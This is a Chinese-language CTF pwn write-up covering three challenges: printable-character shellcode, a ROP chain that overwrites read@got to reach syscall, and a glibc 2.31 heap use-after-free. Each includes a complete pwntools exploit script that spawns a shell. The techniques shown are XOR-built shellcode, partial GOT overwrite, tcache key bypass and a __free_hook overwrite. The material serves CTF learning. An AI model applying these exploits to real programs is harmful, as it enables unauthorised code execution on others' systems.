1!5!
题目保护情况
64位ida逆向
题目很明确让我们写shellcode,但是做了一些检查我们进入函数看看
分析
那么思路很明确就是可见字符shellcode的编写,先看看我们能用什么
那么可以看见,我们可以用异或,没有pop rsi;pop rdi;还有syscall等命令可以用,pop rdi的机器码是\x5f,而pop rsi的机器码是\x5e,syscall的机器码是\x0f\x05,这些虽然都不能直接输入,但是我们可以通过异或(xor)来得到他们,例如syscall,可以通过
\x41\x41和\x4e\x44来得到syscall
因为是小端序所以实际写入的时候写0x444e,那么还有一个问题想要用相同的方法得到pop rdi,和pop rsi,比较容易,如果是/bin/sh呢,而且本题限制的可见数字字符也比较多,所以思路是通过调用一个syscall_read来读取我们正常的shellcode,因为此时已经不用通过检查了,那么就可以得到shell了。
那么继续现在还有rdx,和rax还没有解决,可以先调试到要执行代码的地方看看栈和寄存器的值
那么可以看见此时rax正好是0,rdx的值是我们输入shellocde的地址,那么我们可以把rdx 和rax push到栈上然后分别pop给rdi和rsi,那么就可以完成系统调用read。
思路
通过xor,异或出syscall和pop rdi 和 rsi 放在rdx+某处的地方,然后一直pop rax(rax置为0)滑到执行push rdx 和push rax的地方最后执行sysacll
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import * context(log_level='debug',arch='amd64',os='linux')
io = process('./22sh')
shellcode=""" xor eax,0x31315756 xor dword ptr[rdx+0x50],eax pop rax xor eax,0x31314848 xor dword ptr[rdx+0x50],eax pop rax xor eax,0x3131444e xor dword ptr[rdx+0x52],eax """
io.send((asm(shellcode).ljust(0x50-2,b'\x58')+b'\x52\x50'+b'\x41'*4).ljust(0x200,b'\x58'))
print(len(asm(shellcode)))
payload = b'\x90'*0x100 + asm(shellcraft.sh()) io.send(payload)
io.interactive()
|
R()P
程序保护情况
64位ida逆向
分析
题目逻辑比较简单,大致让你上来输入一个4字节数据不能大于0x100,然后根据你输入的大小进行读入buf(buf大小0xc)有溢出,那么找一下gadget什么的
那么很不幸的是没有pop rdi 那一类的gadget给我们用,只能到程序去找了
看到这些想到了什么,syscall对吧,那么程序也没有syscall的onegadget给我们,那么还有一种思路就是修改read的got表,因为调用read的时候其实底层是通过系统调用来执行syscall_read的
那么可以看见,就差一个字节就可以把read的got表换成syscall,那么怎么改呢?还记得前面说的,我们可以控制rsi,那么就可以实现任意地址写了,那么现在还有一个问题,rdi怎么办,如果要实现系统调用拿到shell,是需要rdi为/bin/sh的或者sh的,那么我们可以写入/bin/sh,那么我们看看有没有关于rdi的gadget
那么我们找的一个edi的gadget,那么我们只需要把/bin/sh写入0x404018即可,然后跳到rax,那么就要保证rax是一个可以执行的地址。
思路
改read@got为syscall,将/bin/sh写入0x404018中,然后依次控制,rdx,rdi,rax,rsi,因为要控制rdx的时候rdi会被清0,所以要按着顺序来,最后得到shell。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from pwn import * context(log_level='debug',arch='amd64',os='linux')
io = process('./rpp') elf =ELF('./rpp') size = b'\x00\x01\x00\x00' gdb.attach(io) io.send(size)
ret = 0x40115A mov_edi_jmp = 0x0000000000401099
payload = b'a'*4 +p32(elf.got['read']) +b'c'*4 +b'd'*4+ p64(ret) payload += p64(0xdeadbeef) + p32(0x404018)*2 + p64(0xdeadbeef)+p64(ret) io.send(payload) pause() io.send('\xe0') pause() io.send('/bin/sh\x00') pause() io.send(size)
payload = b'a'*4 + p32(0x40116D) + b'c'*4 +b'd'*4 + p64(0x40115D) payload += p64(0)*3 + p64(0x40116D) + p64(0xdeadbeef) + p32(0x40116D)*2 + p64(0xdeadbeef) + p64(mov_edi_jmp) payload += p64(0xdeadbeef) + p32(0x3b)*2 + p64(0xdeadbeef) + p64(0x401141) + p64(0)*2
io.send(payload) io.interactive()
|
Magic_Book
程序保护情况
64位ida载入
首先最引入注意的是有一次UAF的机会
add最多申请18个堆块,然后最大不超过0x100
然后还有正常的free,没有UAF
分析
虽然有UAF,但是本题版本是2.31的,我们知道在2.29之后的glibc,对double_free增加了一个检查机制,也就是key机制,它保存在bk指针处,它的值是tcache_perthread_struct,在free的时候如果发现链表中存在这个堆块那么就会报错。并且本题没有show功能,如果要泄露libc,可以考虑打io去爆破。
思路
通过申请堆块7让接下来要double_free的堆块进入unsortebin,那么它bk指针的key就被修改了,然后在free一次让他加入tachbin链表中,那么实现了一个堆块即在unsortbin中又在tachbin链表中,然后通过申请堆块改变tachbin堆块的fd指针实现leak libc,然后可以继续修改unsortbin头部的大小进行向下申请(注意要伪造prev size),修改下一个fd指针为free_hook,进而通过申请修改为system。
注意
有个小点,就是需要两条tachbin链,因为第一次leak libc已经破坏了一个了,所以接下来还需要另一条链来完成接下来的操作,还要一个就是进入unsortbin的时候先free高地址的,然后free低地址,这样会合并,然后继续伪造堆块延长unsortbin,使其可以渗透进tachbin中
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| from pwn import * context(log_level='debug',arch='amd64',os='linux')
libc = ELF('/home/su/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
def add(size,msg): io.sendlineafter('choice : ','1') io.sendlineafter('Size: ',str(size)) io.sendafter('Content: ',msg)
def free(index): io.sendlineafter('choice : ','2') io.sendlineafter('Index: ',str(index))
def uaf(index): io.sendlineafter('choice : ','9') io.sendlineafter('Index: ',str(index))
def pwn(): add(0x100,'a') add(0x100,'b') add(0x80,'c') payload = p64(0xdeadbeef) * 14 + p64(0x180) + p64(0x90) add(0x100,payload)
for _ in range(6): add(0x100,'a')
for i in range(3,10): free(i) uaf(1) free(0) add(0x100,'a') free(1) add(0x70,'a') add(0x80,'b') payload = b'\xa0\x56' add(0x90,payload)
payload = p64(0xdeadbeef) *18 + p64(0) + p64(0x180) add(0x100,payload) payload = p64(0xfbad1887) + p64(0)*3 + b'\x08' add(0x100,payload) libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1c6980 if (libc_base & 0xfff) != 0: return False success('libc_base---->'+hex(libc_base)) free_hook = libc_base + libc.sym['__free_hook'] - 0x25000 system = libc_base + libc.sym['system'] - 0x25000 free(12) free(2)
payload = b'a'*0x60 + p64(0x70) + p64(0x90) + p64(free_hook) add(0xb0,payload) add(0x80,'/bin/sh\x00') add(0x80,p64(system)) free(17) io.interactive()
while True: try: io = process('./book') if pwn(): break except: io.close()
|